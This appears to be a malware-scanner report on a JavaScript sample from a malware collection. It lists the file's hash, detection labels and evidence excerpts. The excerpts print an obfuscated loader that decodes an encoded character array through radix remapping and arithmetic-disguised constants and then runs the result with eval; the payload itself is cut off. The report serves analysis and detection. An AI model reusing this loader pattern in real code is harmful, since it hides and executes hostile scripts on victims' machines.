Suspicious ^80% javascript-malware-collection Download

09f369554a54fc748b7c46fb96a6b608174d69ff4c7ae544e362a9aa3f576e84.unknown

obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-25609f369554a54fc748b7c46fb96a6b608174d69ff4c7ae544e362a9aa3f576e84

Evidence

parseInt toString radix remap lines 1–6

1:460… ','w','x','y','z','{','|','}','~','']
2function RWrja(NOoEmQxNPhO,xjGgynFKgZfpv,SAuaoepu){RzwW=parseInt(NOoEmQxNPhO,xjGgynFKgZfpv);gqNiS=RzwW.toString(SAuaoepu);return gqNiS;}function SvVPUpskXAWzQTB(IYzXOVboXiOiFIZMF){eval(IYzXOVboXiOiFIZMF)}
3function UpWnllLGrqUpGqqIxWzLlIIzgnvMPAksoKTVWyQIzKRiPFLioSeXTg(ANekuYHbsuHoJ,QnTUPrirBFnhQE){ return carMX[RWrja(ANekuYHbsuHoJ[QnTUPrirBFnhQE],(585+528)/53,(3771+329)/410)];}
4function CjjvOlt(PaAgdcondQaWbUfcpoYyyWrKgUqspSSsMKHZ) {return !isNaN(parseFloat(PaAgdcondQaWbUfcpoYyyWrKgUqspSSsMKHZ)) && isFinite(PaAgdcondQaWbUfcpoYyyWrKgUqspSSsMKHZ);}
5function xJirpaYBezA(QJQiutiR,UpYJyM){return QJQiutiR.split(UpYJyM)}
6var h=new Array("d","a","d","a","5d","4d","59","1b","41","1b","2j","1b","1d","5a","56","4i","5b","28","5e","4h","4e", …

Obfuscated increment/decrement via arithmetic lines 8–11

8:4…  XlkTu=[h,X];
9var YKUGWiAXH=[];
10function VIRPyJNEkRUVPPgtt(XlkTu){FRxJHDppcDq= '';AXNMtHYydtN=(-643+643)/495; while(true){if(AXNMtHYydtN >= (306+88)/197)break;YKUGWiAXH[AXNMtHYydtN]=(-142+142)/415; while(true) { if(YKUGWiAXH[AXNMtHYydtN] > XlkTu[AXNMtHYydtN].length-(331+595)/926) { break; } if (CjjvOlt(RWrja(XlkTu[AXNMtHYydtN][YKUGWiAXH[AXNMtHYydtN]],(6093+207)/300,(5676+204)/588))) {FRxJHDppcDq += UpWnllLGrqUpGqqIxWzLlIIzgnvMPAksoKTVWyQIzKRiPFLioSeXTg([XlkTu[AXNMtHYydtN][YKUGWiAXH[AXNMtHYydtN]]], (-310+310)/220);} YKUGWiAXH[AXNMtHYydtN]++;}AXNMtHYydtN++;} return FRxJHDppcDq}
11SvVPUpskXAWzQTB(VIRPyJNEkRUVPPgtt(XlkTu));